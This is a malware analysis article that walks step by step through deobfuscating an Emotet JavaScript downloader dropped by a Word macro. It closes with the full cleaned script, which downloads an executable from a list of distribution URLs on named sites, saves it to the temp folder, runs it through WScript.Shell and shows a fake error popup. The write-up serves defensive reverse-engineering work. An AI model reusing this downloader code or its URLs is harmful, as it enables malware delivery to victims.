# Emotet JavaScript downloader – Max Kersten

Archived: 2026-04-05 13:27:40 UTC

*This article was published on the 8th of April 2020. This article was updated on the 8th of December 2021.*

The Emotet trojan is dropped in multiple stages. The first stage is an office file that contains a macro. This macro then loads the second stage, which is either a PowerShell script or a piece of JavaScript. A PowerShell based downloader script that was used to downloaded the Emotet binary, is analysed in the Emotet droppers article. In this article, a JavaScript based downloader is analysed in the usual step-by-step manner. At first, the obfuscation methods are explained, after which the deobfuscated sample is analysed.

## Table of contents



## Sample information

The JavaScript based downloader is lauched by a macro in a Word document. The hashes of both samples are given below. Additionally a sample package (which contains both files) can be downloaded from MalShare, Malware Bazaar, or VirusBay.

```
Word document MD-5: 12c0a3f94e87c9c4baa70e63cbb8f132
Word document SHA-1: 219588d23f281f1fafad61780c115e1f61c7cd52
Word document SHA-256: 8d3de338b1f13c55c73461a24fef506de8733e392cd145cc3a6a843bab28ee3d

JavaScript MD-5: b23fd915ab76f0d3f79d90c7cbb87f54
JavaScript SHA-1: d8bd63db6475105200fbdcc09fcb1e1c4bbde190
JavaScript SHA-256: b47c3e2c8dd09054e1eec662db8ee433acb494467b6517a3a022cd7c399cef17
```

Note that this article only covers the JavaScript based downloader.

## Analysis outline

The JavaScript file is obfuscated using Obfuscator.io's obfuscator. One can inspect the obfuscator's source code to understand how it works. Its not often that the obfuscator's source code is available, which is why its not used in this article. Understanding how to approach such a sample, and knowing how to recognise patterns in code, is a valuable skill to develop.

## Deobfuscating the code

This article will show six steps that are required to remove the obfuscation. Firstly, the original strings are retrieved. After that, multiple dead code variants are removed. Thirdly, the *dictionary* mappings within functions are addressed. Fourthly, the control flow is unflattened. Fifthly, the function overrides are explained. Lastly, function callbacks are addressed.

After the deobfuscation is complete, the original payload will be reconstructed and analysed step-by-step.

### Retrieving strings

Within the sample, the strings are stored in a single array, as can be seen when scrolling through the code. The strings are obtained from this array during run time. The code below provides the string array, together with a function that alters the array.

```
var a = ['base64-encoded-value', 'another-base64-encoded-value', ... ];

(function(c, d) {
    var e = function(f) {
        while (--f) {
            c['push'](c['shift']());
        }
    };
    e(++d);
}(a, 0x13b));
```

The anonymous function shuffles the array's order *0x13b* places, or *315* in decimal. Directly below that, a function is defined. The code is given below.

```
var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['glFLpC'] === undefined) {
        (function() {
            var f = function() {
                var g;
                try {
                    g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x2
                } catch (h) {
                    g = window;
                }
                return g;
            };
            var i = f();
            var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
```

```
            i['atob'] || (i['atob'] = function(k) {
                var l = String(k)['replace'](/=+$/, '');
                for (var m = 0x0, n, o, p = 0x0, q = ''; o = l['charAt'](p++); ~o && (n = m % 0x4 ? 
                    o = j['indexOf'](o);
                }
                return q;
            });
        }());
        var r = function(s, d) {
            var u = [],
                v = 0x0,
                w, x = '',
                y = '';
            s = atob(s);
            for (var z = 0x0, A = s['length']; z < A; z++) {
                y += '%' + ('00' + s['charCodeAt'](z)['toString'](0x10))['slice'](-0x2);
            }
            s = decodeURIComponent(y);
            for (var B = 0x0; B < 0x100; B++) {
                u[B] = B;
            }
            for (B = 0x0; B < 0x100; B++) {
                v = (v + u[B] + d['charCodeAt'](B % d['length'])) % 0x100;
                w = u[B];
                u[B] = u[v];
                u[v] = w;
            }
            B = 0x0;
            v = 0x0;
            for (var C = 0x0; C < s['length']; C++) {
                B = (B + 0x1) % 0x100;
                v = (v + u[B]) % 0x100;
                w = u[B];
                u[B] = u[v];
                u[v] = w;
                x += String['fromCharCode'](s['charCodeAt'](C) ^ u[(u[B] + u[v]) % 0x100]);
            }
            return x;
        };
        b['DeXxzd'] = r;
        b['qjpvAF'] = {};
        b['glFLpC'] = !![];
    }
    var D = b['qjpvAF'][c];
    if (D === undefined) {
        if (b['dXYIcg'] === undefined) {
            b['dXYIcg'] = !![];
```

```
        }
        e = b['DeXxzd'](e, d);
        b['qjpvAF'][c] = e;
    } else {
        e = D;
    }
    return e;
};
```

This function is called at places where a string is normally located in the script. An example of such a call is given below.

The first parameter is the index of the value in the string array, as can be seen in the code excerpt below.

```
var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
```

The second argument is used in the decryption of he given string. Searching for some of the *magic* values, will lead to the conclusion that the RC4 encryption algorithm is used, and is decrypted using this function. Note that the string array contains base64 encoded strings, as not all encrypted output is printable. As such, the decryption function base64 decodes the strings first, using the atob function. The refactored function template is given below.

Note that one can also find the usage of the RC4 encryption algorithm in the feature list of the obfuscator. As stated prior, this article does not rely on the feature list nor source code of the obfuscator, as this is not always available.

To clean the script, replace all occurrences of the decryption function with the result it returns for the given array. One can copy the string array and shuffle function into the browser's console to obtain the shuffled and decrypted values, or automate the process with a script. A version of the script where all strings have been replaced is present in the file package that is provided in the beginning.

### Dead code removal

Within the script, dead code is present in several ways. The two most occurring methods are the insertion of dead code in the form of variables and the creation of redundant if-statements. To avoid automatic removal of unused variables, the variables link to other dead code, thereby referencing each other. An example from the script is given below.

```
var fS = 0x1522c;
var fT = 0x15cdc;
var fU = 0x8b7aec;
WshShell = WScript[cb](ck);
var fY = 0xc1b1;
var fZ = 0x2f3869;
```

```
var g0 = 0x2d7f69;
fY = fZ + fZ;
fY = fZ + fY;
fY = fY + fZ;
```

Not all dead code references other dead code. An example of dead code without references is given below. Additionally, this excerpt contains a redundant if-statement. Only when the code is altered, statically or in-memory, the condition could be met.

```
if ("JCqNE" === "nUZVy") {
    that = window;
} else {
    var eV = 0xf2bd6;
    var eW = 0x169e;
    var eX = new ce(c6);
    var eY = 0xb66;
    var eZ = 0x11c1d;
    var f0 = "KT!Wd0rRAcucX*QYYufz tnIg;ORkuP1?c[op38[z?8ROFKHKLpH?dOB<n,DmUDqnlm ZPP*::AsISG ^;Iwpr
    var f1 = "g3sO31;W8 Bd h0@fwgfpIlmlIj 1BJ l2S6#gZ[TLq6f.em!J9n^W:a9;o<ELSD^Qf Z9qwz?^doAeA[8;Z[n
    var f2 = "^8LUc?w0X%xOcUKoN @3EP,RPQ6yA#<EDN.qo*dTEsue1bLG7A9 iFNAQt0Cb[dJoJw0lrDPK@,y:mWno9N%by
    var f3 = 0x79219;
    var f4 = '\x5c' + Math['random']()["toString"](0x24)['substr'](0x2, 0x9) + c5;
    var f5 = 0x1522;
    var f6 = 0.3686;
    var f7 = eX[c2](0x2) + f4;
    var f8 = "xIs.f<Abe.qi<c8 dAyQZ EHMpUGgKXbX%htpP.JhQrAiDO. ,,aU2J:Bpi$KSUe,W;*f#l[a?JkQcy!t# fR^
    var f9 = "gwE1Txw;Q.AD[#8lnj0Gc*bKtfY:Pc!$dIMQ210!ziIYSdUrg01]x OXOkB%9U#$S]$usPz@*]Koi?peC6sW@O
    return f7;
}
```

In the code above, the body within the if-statement is unreachable. Therefore the code within the else-clause is executed. All variables are created within the condition, meaning they cease to exist outside of the else-body. In this case, *f7* is returned, which references *eX* and *f4*. Neither *eX* nor *f4* references a variable that is created within the else-body. As such, the content of the else-body can be rewritten without the garbage code. The rewritten excerpt is given below.

```
var eX = new ce(c6);
var f4 = '\x5c' + Math['random']()["toString"](0x24)['substr'](0x2, 0x9) + c5;
var f7 = eX[c2](0x2) + f4;
return f7;
```

This makes the code more readable, and will allow for a quicker analysis later on.

### Unflattening the control flow

To obscure the control flow, aside from the encrypted string array, dead code, and redundant if-statements, the control flow is flattened. The same concept is used within all occurrences in the script. At first, two variables are created. One contains a series of numbers that are separated by pipes. Using the split function, an array is filled with the numbers in the given order. The next variable is used to loop through the code. For each number in the sequence, there is a piece of code present in a switch case. Using the order that is specified by the array, the code is executed in the original order. The code excerpt is given below.

```
var fs = "2|14|1|13|10|9|3|8|11|0|5|12|6|4|7"["split"]('|'),
    ft = 0x0;
while (!![]) {
    switch (fs[ft++]) {
        case '0':
            fv[eJ] = 0x1;
            continue;
        case '1':
            var fu = 0xaef;
            continue;
        case '2':
            var fv = new ce(fb);
            continue;
        case '3':
            var fw = "kF3k33%Ec6*BF1qd..dI8tFFU]0MuNGguJRpmfgeG33;g#9qlL,FF89N% Zsr*WlaKA3 J!8Eq7oEb
            continue;
        case '4':
            fv[eL]();
            continue;
        case '5':
            fv[eB](fd);
            continue;
        case '6':
            fv[eK](fo, 0x2);
            continue;
        case '7':
            return fe(fo, ![]);
        case '8':
            var fx = '.I0nbP*mepdcjxKFmyXFFwTeYKiR[PF%P<#[T%\x20sRu$PRZcXfW*TN?T;UHsyl$13W2hq9thbu:D
            continue;
        case '9':
            var fy = 0x2af;
            continue;
        case '10':
            var fz = 0x3723db;
            continue;
        case '11':
            fv[eH]();
            continue;
```

```
        case '12':
            fv[eE] = 0x0;
            continue;
        case '13':
            var fA = 0x1733b;
            continue;
        case '14':
            var fB = ';\x20ImRFc[Attwgk%CuF*7Jf]geRCMS6mBQf,k\x20],GdBPB$B8:*^9:zn*eCS?n\x208:[[NcUl
            continue;
    }
    break;
}
```

Once reordered, the code becomes easier to read, as can be seen below.

```
var fv = new ce(fb);
var fB = ';\x20ImRFc[Attwgk%CuF*7Jf]geRCMS6mBQf,k\x20],GdBPB$B8:*^9:zn*eCS?n\x208:[[NcUlcTf0ZHzeyFY8
var fu = 0xaef;
var fA = 0x1733b;
var fz = 0x3723db;
var fy = 0x2af;
var fw = "kF3k33%Ec6*BF1qd..dI8tFFU]0MuNGguJRpmfgeG33;g#9qlL,FF89N% Zsr*WlaKA3 J!8Eq7oEbE[f2I<9B6OUt
var fx = '.I0nbP*mepdcjxKFmyXFFwTeYKiR[PF%P<#[T%\x20sRu$PRZcXfW*TN?T;UHsyl$13W2hq9thbu:D80HdX^lKw,9S
fv[eH]();
fv[eJ] = 0x1;
fv[eB](fd);
fv[eE] = 0x0;
fv[eK](fo, 0x2);
fv[eL]();
return fe(fo, ![]);
```

Note the dead code that is present in the recovered code.

### Remapping dictionaries

At the beginning of functions, a JavaScript object is made that contains fields with values. These fields, and their values, serve as key-value pairs. In the function, the values will be taken from the object to obscure the function's purpose. An excerpt from the code is given below.

```
var bg = {
    'CfYsK': function(bh, bi, bj) {
        return bh(bi, bj);
    },
    'uBANR': "8|0|2|7|1|4|6|3|5",
    'vVong': "KT!Wd0rRAcucX*QYYufz tnIg;ORkuP1?c[op38[z?8ROFKHKLpH?dOB<n,DmUDqnlm ZPP*::AsISG ^;Iwpr
    'tEaku': "g3sO31;W8 Bd h0@fwgfpIlmlIj 1BJ l2S6#gZ[TLq6f.em!J9n^W:a9;o<ELSD^Qf Z9qwz?^doAeA[8;Z[n
```

```
    'MwKva': '^8LUc?w0X%xOcUKoN\x20@3EP,RPQ6yA#<EDN.qo*dTEsue1bLG7A9\x20iFNAQt0Cb[dJoJw0lrDPK@,y:mWn
    'OtIWa': function(bk, bl) {
        return bk + bl;
    },
    'NKXnB': 'xIs.f<Abe.qi<c8\x20dAyQZ\x20EHMpUGgKXbX%htpP.JhQrAiDO.\x20,,aU2J:Bpi$KSUe,W;*f#l[a?JkQ
    'mLaoo': "gwE1Txw;Q.AD[#8lnj0Gc*bKtfY:Pc!$dIMQ210!ziIYSdUrg01]x OXOkB%9U#$S]$usPz@*]Koi?peC6sW@O
    'pXVox': "MsPFI",
    'YlyIl': "return (function() ",
    'GyBoN': "{}.constructor(\"return this\")( )",
    'FnRMt': function(bm) {
        return bm();
    },
    'icZPL': function(bn, bo) {
        return bn === bo;
    },
    'FCQwq': "JLmQv",
    'PPHdv': "vmxRb"
};
var bp = function() {};
var bq;
try {
    if (bg["pXVox"] === bg['pXVox']) {
        var br = Function(bg["OtIWa"](bg[
            "YlyIl"] + bg["GyBoN"], ');'));
        bq = bg["FnRMt"](br);
    } else {
        return bg["CfYsK"](callback, null, !![]);
    }
} catch (bt) {
    bq = window;
}
```

The if-statement compares the same field from the object, meaning the value is irrelevant as it will always be equal. A new function is then created, where the function template as defined in the *OtIWa* field is then used to add the two given parameters together. The first parameter is the value of *YlyIl* and *GyBoN*. The second value is equal to *);*. The value, once concatenated, is given below.

```
return (function() {}.constructor(\"return this\")( ));
```

This code is then executed as a function by using the function template that is defined in *FnRMt*, whose return value is then stored in *bq*. The try-catch statement is written below in the cleaned form.

```
bq = (function() {}.constructor(\"return this\")( ));
```

Note that the try-catch structure has also been removed from the code, as it serves no purpose during the analysis and only clutters the overview the analyst creates.

### Overriding default functions

The excerpt below is a part of the code that is used to override several functions that are normally present in the console. A commonly used technique to see the value of an variable is to print it using *console.log(variableName)*.

```
var bp = function() {};
var bq;
try {
    if (bg["pXVox"] === bg['pXVox']) {
        var br = Function(bg["OtIWa"](bg[
            "YlyIl"] + bg["GyBoN"], ');'));
        bq = bg["FnRMt"](br);
    } else {
        return bg["CfYsK"](callback, null, !![]);
    }
} catch (bt) {
    bq = window;
}
if (!bq["console"]) {
    bq["console"] = function(bp) {
        var bv = bg['uBANR']["split"]('|'),
            bw = 0x0;
        while (!![]) {
            switch (bv[bw++]) {
                case '0':
                    aX['log'] = bp;
                    continue;
                case '1':
                    aX["info"] = bp;
                    continue;
                case '2':
                    aX["warn"] = bp;
                    continue;
                case '3':
                    aX['trace'] = bp;
                    continue;
                case '4':
                    aX["error"] = bp;
                    continue;
                case '5':
                    return aX;
                case '6':
                    aX["exception"] = bp;
                    continue;
```

```
                case '7':
                    aX["debug"] = bp;
                    continue;
                case '8':
                    var aX = {};
                    continue;
            }
            break;
        }
    }(bp);
} else {
    if (bg["icZPL"](bg['FCQwq'], bg["PPHdv"])) {
        var X = 0xf2bd6;
        var Y = 0x169e;
        var Z = new ce(c6);
        var a0 = 0xb66;
        var a1 = 0x11c1d;
        var a2 = bg["vVong"];
        var a3 = bg['tEaku'];
        var a4 = bg['MwKva'];
        var a5 = 0x79219;
        var a6 = bg["OtIWa"](bg["OtIWa"]('\x5c', Math["random"]()["toString"](0x24)["substr"](0x2, 0
        var a7 = 0x1522;
        var a8 = 0.3686;
        var a9 = Z[c2](0x2) + a6;
        var aa = bg["NKXnB"];
        var ab = bg['mLaoo'];
        return a9;
    } else {
        var bO = "2|1|0|3|6|4|5" ["split"]('|'),
            bP = 0x0;
        while (!![]) {
            switch (bO[bP++]) {
                case '0':
                    bq["console"]["debug"] = bp;
                    continue;
                case '1':
                    bq["console"]["warn"] = bp;
                    continue;
                case '2':
                    bq['console']["log"] = bp;
                    continue;
                case '3':
                    bq['console']["info"] = bp;
                    continue;
                case '4':
                    bq["console"]['exception'] = bp;
```

```
                    continue;
                case '5':
                    bq["console"]["trace"] = bp;
                    continue;
                case '6':
                    bq['console']["error"] = bp;
                    continue;
            }
            break;
        }
    }
}
```

Several fields within the console object are set equal to *bp*, which is defined as an empty function in the first line of the excerpt. This example also serves to show that not all obfuscation needs to be removed in order to make the code readable. The last switch does not need to be removed, as the order of the execution does not matter. The fact that functions are replaced is already visible.

Code segments like this are inserted to hinder dynamic analysis, which is often much quicker than static analysis. Since this analysis is done statically, code segments like these are considered clutter. As such, they can be removed from the script once it is certain that none of the code that is present in the original input is handled within such a function.

### Function callbacks

Usually, a function requires arguments and returns a value based upon the input. Sometimes, one or more of the arguments is also altered. It is also possible to provide a function as an argument. The obfuscation here passes a function with two arguments, which is done several times. The first argument is the data to use, whereas the second argument is a boolean. Within the function, a check is done to see if the value is either *true* or *false*. Depending on the hardcoded path, either of these values is required to continue the execution. This further obscures the execution path within the obfuscated code, especially if this is done in all functions.

To illustrate the above, two functions will be discussed. Below, the *cs* function partially given.

```
cs(urlThree, function(dd, de) {
        if (!de) {
                return cT(dd, ![]);
        }
//[...]
}
```

As stated before, the function that is passed as the second argument requires two parameters. The first is the URL, and the second is the function to continue the execution in. In this case, the hardcoded boolean value should be *false*.

The *cs* function is given below in its refactored form.

```
function cs(ct, cu) {
    try {
        var httpObject = new activeXObject("MSXML2.XMLHTTP");
        httpObject["open"]("GET", ct, ![]);
        httpObject["send"]();
        if (httpObject["status"] == 200) {
            return (cu(httpObject['ResponseBody'], ![]);
        } else {
            return cu(null, !![]);
        }
    } catch (cR) {
        return cu(null, !![]);
    }
```

If the HTTP status code is equal to OK (status code 200), the Emotet binary could be downloaded. Note that *cu* is the function that is passed to *cs*. The binary itself is then passed to *cu* as the first argument. The second argument that is passed to *cu* is *![]*, which equals *false*. The boolean's value should be false to successfully continue the execution, as can be seen in the code of *cu*.

Rewriting the code can be done by defining more functions that do not require the boolean to follow the correct path, but return the first argument that is passed to given function. To illustrate, the *cs* function would return the response body.

## Reconstructing the original script

Based on the obfuscation techniques that are given above, one can clean the code. Removing the content that is not centered around the interesting variables will remove the anti-tampering and anti-debugging code that is present. By removing the function callbacks, more functions will be created, which also results in a clearer overview for the analyst.

Once all relevant code is gathered and cleaned, the original input can be recovered. Functions names and variable names can be refactored to improve the readability of the code even further.

### Analysing the original script

The refactored and cleaned script is analysed in parts, after which the whole script is given.

The first part of the script contains the variables. As most of the variables occurred only once, the sole occurence has been replaced by its value. The five URLs are stored in a single array, as this makes the iteration over all five URLs easier.

```
var urls = ['https://miraigroupsumatera.com/wp-includes/wkcw90205/', "https://careervsjob.com/wp-con
var activeXObject = 'ActiveXObject';
```

The next function, named *download*, is used to download the Emotet binary from a given URL using a Microsfot XML object. The request is not async, as is defined by the third argument in the *open* function. Only if the HTTP status code is OK (which is equal to 200), the response body is returned.

```
function download(url) {
    var httpObject = new activeXObject("MSXML2.XMLHTTP");
    httpObject["open"]("GET", url, false);
    httpObject["send"]();
    if (httpObject["status"] == 200) {
        return httpObject['ResponseBody'];
    } else {
        return null;
    }
}
```

Once downloaded, the response body needs to be saved somewhere. The *getOutputPath* function generates the full path, including a random file name with the *exe* extension to save the downloaded binary to. The GetSpecialFolder function, when given the argument is *2*, returns the path to the temporary folder on the system.

The file name starts with *\x5c*, which equals \\, as the temporary folder's location does not end with a backslash. This needs to be added before the file name can be appended.

The file name is nine characters long, and is obtained using the random function. The result from this function always starts with zero dot. To remove these two characters, a substring that is nine characters long, starting at the second index, is taken.

```
function getOutputPath() {
    var fileSystemObject = new activeXObject("Scripting.FileSystemObject");
    var fileName = '\x5c' + Math.random().toString(36).substr(2, 9) + ".exe";
    var outputPath = fileSystemObject["GetSpecialFolder"](2) + fileName;
    return outputPath;
}
```

The *saveAndRun* function gets the the output path for the downloaded file, and saves the file to the disk using an ADO Stream Object. The type is set to *1*, which corresponds with the *adTypeBinary* constant in the StreamTypeEnum. This is correct, since the downloaded data is a byte array.

The SaveToFile function saves the file to the given location. The second parameter, *2*, is equal to the *adSaveCreateOverWrite* constant in the SaveOptionsEnum. If there already is a file with the randomly generated name, it is overwritten.

At last, the WScript Shell is used to execute the file that was just written to the disk.

```
function saveAndRun(data) {
    var outputPath = getOutputPath();
```

```
    var adodbStream = new activeXObject('ADODB.Stream');
    adodbStream['Open']();
    adodbStream["Type"] = 1;
    adodbStream["Write"](data);
    adodbStream["Position"] = 0;
    adodbStream["SaveToFile"](outputPath, 2);
    adodbStream["Close"]();
    var shell = new activeXObject("WScript.Shell");
    shell["Run"](outputPath);
}
```

The start function is used to display the fake error message to the victim, using the WScript Shell's Popup function. The first argument is the text to display. The second argument is the amount of seconds that the message box should maximally be displayed, where the value *0* is used to mark the time frame as indefinite. The third argument is the title of the message box. The last argument is the icon type of the messagebox, where *64* refers to the informational message box icon.

```
function start(data, shouldRun) {
    WshShell = WScript["CreateObject"]("WScript.Shell");
    Text = "There was an error opening this document. The file is damaged and could not be repaired
    Title = "Not Supported File Format";
    Res = WshShell["Popup"](Text, 0, Title, 64);
    if (shouldRun) saveAndRun(data);
}
```

After all functions have been defined, the URL array can be iterated through to download the binary. If the download is successful, the data is saved to the disk, and then executed. At last, the fake error message is displayed.

```
for (var i = 0; i < urls.length; i++) {
    var data = download(urls[i]);
    if(data) start(data, true);
}
```

The complete script is given below.

```
var urls = ['https://miraigroupsumatera.com/wp-includes/wkcw90205/', "https://careervsjob.com/wp-con
var activeXObject = 'ActiveXObject';

function download(url) {
    var httpObject = new activeXObject("MSXML2.XMLHTTP");
    httpObject["open"]("GET", url, false);
    httpObject["send"]();
    if (httpObject["status"] == 200) {
```

```
        return httpObject['ResponseBody'];
    } else {
        return null;
    }
}

function getOutputPath() {
    var fileSystemObject = new activeXObject("Scripting.FileSystemObject");
    var fileName = '\x5c' + Math.random().toString(36).substr(2, 9) + ".exe";
    var outputPath = fileSystemObject["GetSpecialFolder"](2) + fileName;
    return outputPath;
}

function saveAndRun(data) {
    var outputPath = getOutputPath();
    var adodbStream = new activeXObject('ADODB.Stream');
    adodbStream['Open']();
    adodbStream["Type"] = 1;
    adodbStream["Write"](data);
    adodbStream["Position"] = 0;
    adodbStream["SaveToFile"](outputPath, 2);
    adodbStream["Close"]();
    var shell = new activeXObject("WScript.Shell");
    shell["Run"](outputPath);
}

function start(data, shouldRun) {
    WshShell = WScript["CreateObject"]("WScript.Shell");
    Text = "There was an error opening this document. The file is damaged and could not be repaired
    Title = "Not Supported File Format";
    Res = WshShell["Popup"](Text, 0, Title, 64);
    if (shouldRun) saveAndRun(data);
}

for (var i = 0; i < urls.length; i++) {
    var data = download(urls[i]);
    if(data) start(data, true);
}
```

## Conclusion

By recognising patterns in the code, one can remove the obfuscation. This is, however, a time consuming task. Therefore, it is essential to find a balance between deobfuscating code and reading obfuscated code. The amount of code that needs to be deobfuscated differs based on the goal of the analysis.

The analysis, deobfuscation, and refactoring efforts reduced the code from 1067 lines of code, into 46 lines of code. This is a reduction in size of more than 95 percent, allowing the analyst to quickly read and understand the code. Based on this, future changes can be tracked without fully deobfuscating the sample.

---

To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], or DM me on BlueSky @maxkersten.nl.

---